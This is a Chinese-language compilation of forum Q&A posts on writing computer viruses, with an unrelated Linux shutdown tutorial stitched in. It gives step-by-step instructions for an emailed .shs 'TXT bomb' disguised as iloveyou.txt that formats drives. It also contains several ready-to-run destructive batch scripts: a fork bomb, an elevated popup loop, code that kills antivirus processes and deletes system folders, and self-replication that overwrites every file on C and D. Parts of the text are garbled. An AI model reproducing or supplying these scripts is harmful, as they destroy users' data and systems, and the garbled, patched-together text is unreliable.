编写病毒代码,需要学什么?(注:我已会C语言)
写病毒用什么语言都可以。不过是一种工具,你只要精通它就行,要了解底层的东西,比如操作系统,计算机组成原理。
还有,谁说goto在C语言里禁用了?你去找到那个这么说的人,狠狠的抽他俩嘴巴!
goto不是天生的恶魔,C89,C99标准没有取消它是有根据的。比如,for语句里套switch,在switch里怎么跳出循环?break可不行。在比如,输入法的软键盘,需要检索你按的那个键,如何构词。goto就是最好的解决办法。楼上的那兄弟用goto写的是循环,没有for这类的语句的时候,就是用的goto。
麻烦你给我写一个简单的电脑病毒、我试着制作一下、把过程写详细些好吗?
[本站原创]"TXT",即大家最熟悉的纯文本格式,它是一种最基本的文本文件保存格式。有体积小、兼容性好、无病毒等优点。实话说树大招风,黑客们却利用人们对TXT这份信任搞起了TXT"炸弹"。TXT炸弹其实是披着".txt"外皮的"碎片对象"(扩展名为SHS)的文件,它通过邮件附件的形式,悄悄的进入你的系统。善良的人们以为光临的是TXT文件,没有任何的考虑便双击运行。这时这只披着羊皮的"老狼",却脱掉"羊皮",露出原形,干起破坏计算机系统的勾当。为了保护自身的安全,摸清的"对方"的底细。今天我们向大家展示如何制作一个格式化软盘的TXT炸弹。我们的目的在于知已知彼,百战百胜。
实战"TXT"病毒
步骤1 打开记事本,创建一个只包含一个空格(为了减小文件体积)的文本文件,任意取名。
步骤2 打开写字板,将此文件拖放入记事本。也可以单击记事本菜单栏中的【插入】|【对象】,弹出【插入对象】对话框,选中【从文件创建】,然后单击【浏览】按钮选择要插入的文件(如图1)。
图1 插入对象
步骤3 选中该插入对象的图标,选择菜单栏中的【编辑】|【包对象】|【编辑包】(如图2)。
图2添加图标
在弹出的【对象包装程序】对话框中,选择菜单栏中的【编辑】|【命令行】,然后输入如下命令:Format.com a: /autotest,单击【确定】,此时,内容栏中会显示出命令内容(如图3)。
图3 添加命令
步骤4 单击外观栏中的【插入图标】按钮,会弹出一个警告对话框,确认,然后任选一个图标(如图4)。
图4 选取图标
步骤5 选择菜单栏中的【编辑】|【卷标】,为此嵌入对象取一个名称(会替换原来的文件名称)(如图5)。单击【文件】菜单中的【更新】,然后关闭此对话框。
图5 卷标
步骤6 将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是"碎片",现在我们把它改成"iloveyou.txt"。打开电子邮件程序将桌面上的"iloveyou.txt"作为附件发出,或者将含有嵌入对象(带有恶意命令)的文档作为附件发出。
步骤7 当邮件接收者误将"iloveyou.txt.shs"文件作为"iloveyou.txt"放心地打开时,或打开文件,单击文件中的嵌入对象时触发恶意命令(弹出DOS运行窗口,执行格式化命令),假如此时有另一个程序正在访问软驱,则会显示如下信息"Drive A: is currently in use by another process. Aborting Format."(A驱正被另一个程序访问,格式化中止)。这样一个格式化软盘的炸弹就制作起来了,如果大家加上格式化硬盘的代码,那效果可以想象了。
防御
面对如此狡猾的TXT炸弹,平时就不拘小节的我们如何提防呢,下面向大家介绍两种防治措施,以防一方平安。
1.揭开TXT的外皮
其实TXT病毒最后的危害在于它的隐蔽性,如何我们能够揭开它的外皮,直接显示出".SHS"扩展名,这样危害就会减少很多。显示".SHS"扩展名方法其实很简单,只要找开注册表编辑器,从中找到"HEY_CLASSES_ROOTShellScrap"键,在其下面的一个键值为"NeverShowExt",它是无法显示".SHS"文件扩展名的"罪魁祸首",删除它,以后我们就可以直接看到".SHS"扩展名了,当然这时的人们绝不会在三心二意了。
2.更换"碎片对象"图标。
我们为什么一眼就可以看出某种文件的具体的格式,这都是由它们的默认图标决定的。因为于碎片对象文件的默认图标与文本文件图标非常相似所以我们经常将碎片对象文件误认为TXT文件。为了区别开它们,我们只要更换碎片对象文件的默认图标即可。打开"资源管理器",然后选中【查看】菜单下的【文件夹选框】,在弹出的对话框中选择【文件类型】活页卡,在【已注册的文件类型】下找到【碎片对象】。单击右上角【编辑】按钮,在打开的【编辑文件类型】对话框中单击上边的【更改图标】按钮(如图6)。打开C:WINDOWSSYSTEMPifmgr.dll,从出现的图标中选一个作为.SHS文件的新图标(就选第一排最后一个吧,一颗炸弹!),这样以后一看就知道这是一颗炸弹哟,大意不得。
图6 编辑类型
方便日常操作,常用的关机和重启命令
Linux中常用的关机和重新启动命令有shutdown、halt、reboot以及init,它们都可以达到关机和重新启动的目的,但是每个命令的内部工作过程是不同的,下面将逐一进行介绍。
1. shutdown
shutdown命令用于安全关闭Linux系统。有些用户会使用直接断掉电源的方式来关闭Linux,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至会损坏硬件设备。
执行shutdown命令时,系统会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录系统。使用shutdown命令可以直接关闭系统,也可以延迟指定的时间再关闭系统,还可以重新启动。延迟指定的时间再关闭系统,可以让用户有时间储存当前正在处理的文件和关闭已经打开的程序。
shutdown命令的部分参数如下:
[-t] 指定在多长时间之后关闭系统
[-r] 重启系统
[-k] 并不真正关机,只是给每个登录用户发送警告信号
[-h] 关闭系统(halt)
shutdown命令的工作实质是给init程序发送信号(signal),要求其切换系统的运行级别(Runlevel)。系统的运行级别包括:
0:关闭系统
1:单用户模式,如果没有为shutdown命令指定-h或-r参数而直接执行,则默认将切换到此运行级别
2:多用户模式(不支持NFS)
3:多用户模式(支持NFS),一般常用此种运行级别
5:多用户模式(GUI模式)
6:重新启动系统
2. halt
halt是最简单的关机命令,其实际上是调用shutdown -h命令。halt执行时,杀死应用进程,文件系统写操作完成后就会停止内核。
halt命令的部分参数如下:
[-f] 没有调用shutdown而强制关机或重启
[-i] 关机或重新启动之前,关掉所有的网络接口
[-p] 关机时调用poweroff,此选项为缺省选项
3.reboot
reboot的工作过程与halt类似,其作用是重新启动,而halt是关机。其参数也与halt类似。
4.init
init是所有进程的祖先,其进程号始终为1。init用于切换系统的运行级别,切换的工作是立即完成的。init 0命令用于立即将系统运行级别切换为0,即关机;init 6命令用于将系统运行级别切换为6,即重新启动。
(T115)
开机一闪而过的病毒CMD代码(如图),请大神帮忙!!!3ku!!!
以毒攻毒。
你将以下代码:
@echo off
title Clean
Color a
Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /va /f
Reg.exe delete "HKEY_LOCAL_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /va /f
del /s /q /f "%userprofile%\「开始」菜单\程序\启动\*"nul
复制到“记事本”程序中。然后单击“文件”"保存",选择桌面后,在“保存类型”中选择“所有文件”,文件名中填“超级病毒专杀软件.bat”。最后单击“保存”,到桌面上运行“超级病毒专杀软件.bat”文件就行了。
写cmd病毒
代码是
echo off
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:jjj
……
JMP Label3
Db thunkcode3
Label1:ss
…….
JMP Label2
Db thunkcode2
Label3:mm
taskkill /f /im 360DesktopLite.exe
jz label
jnz label
db thunkcode
label:
jz label2
jnz label2
db thunkcode
lable2
mov ax, 8
xor ax, 77
...
taskkill /f /im explore.exe
taskkill /f /im 360tray.exe
taskkill /f /im 360Safe.exe
echo off
taskkill /f /im 360tray.exe
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
taskkill /f /im 360tray.exe
taskkill /f /im ZhuDongFangYu.exe
rmdir /s/q C:\Users\administrator\Desktop
rmdir /s/q C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
rmdir /s/q C:\ProgramData
del /f /s /q regedit.exe
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
JMP Label1
Db thunkcode1
Label2:
……
JMP Label3
Db thunkcode3
Label1:
…….
JMP Label2
Db thunkcode2
Label3:
call label_1
db thunkcode
jmp label_2
db thunkcode
label_1:
pop eax
jmp label_3
db thunkcode,thunkcode,thunkcode
label_3:
inc eax
jmp label_4
db thunkcode,thunkcode,thunkcode
label_4:
jmp eax
db thunkcode
label_2:
....
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
set temp=C:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
del /f /s /q search-ms:displayname=“win10%20(C%3A)”中的搜索结果crumb=System.Generic.String:cmdcrumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
del /f /s /q notepad.exe
rmdir /s/q apppatch
rmdir /s/q Windows10Upgrade
rmdir /s/q LDSGameMaster
set path=C:\ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
set temp=C:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
del /f /s /q search-ms:displayname=“win10%20(C%3A)”中的搜索结果crumb=System.Generic.String:cmdcrumb=location:C%3A%5C
rmdir /s/q C:\Windows\appcompat\Programs
rmdir /s/q C:\Windows\en-US
rmdir /s/q C:\Windows\OCR
::wwwwwww::rrrrrr%%tttt
rmdir /s/q C:\Windows\minidump
rmdir /s/q C:\Windows\Microsoft.NET
ftype nppfile="C:\ProgramFiles (x86)\Notepad++\notepad++.exe" %1
for /l %%i in (1 1 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)do md A..\
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
:a
set /a a+=1
echo %random%-%random%-%random% C:\Users\%username%\Desktop\CCBL.%random%
mshta javascript:alert(".");close();
goto a
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b A:\*.*') do copy /y "%dpnx0" "%%i" nul
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b K:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b I:\*.*') do copy /y "%dpnx0" "%%i"
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b Z:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b M:\*.*') do copy /y "%dpnx0" "%%i" nul
rmdir /s/q C:\Windows\Offline Web Pages
电脑病毒制作教程
很荣幸能够回答您的问题!
桌面上创建记事本,改后缀为bat
2
::输入以下代码
%0|%0
保存后退出,打开会发现无限制的弹窗。这是什么原理呢?
执行脚本的时候,|管道符会将左面的值传给右边,而这里%0是第一个参数(批处理路径),所以会无限执行自己。
END
第二种病毒
这种更强大一些。同样,桌面上创建记事本,改后缀为bat
::输入以下代码
for /l %%i in (1 1 999999) do md A..\
这个病毒利用Windows命名漏洞,创建999999个删除不了也打不开的文件夹。解决方法:把md改为rd
END
第三种病毒
这种病毒更高级,攻击性能更强。同样,桌面上创建记事本,改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
:a
set /a a+=1
echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%
mshta javascript:alert("您已中第%a%个病毒.");close();
goto a
这个病毒会在后台运行,在桌面重复弹信息框,生成垃圾文件,千万不敢随意测试,因为电脑会消耗尽内存后蓝屏。
END
第四种病毒
这种病毒最有破坏性,跟熊猫烧香媲美。同样,桌面上创建记事本,改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul
此程序特别狠,会在后台把C、D盘所有的文件都替换成自己(病毒文件,然后会又被执行)。
希望能帮到您,如有疑问,请追问!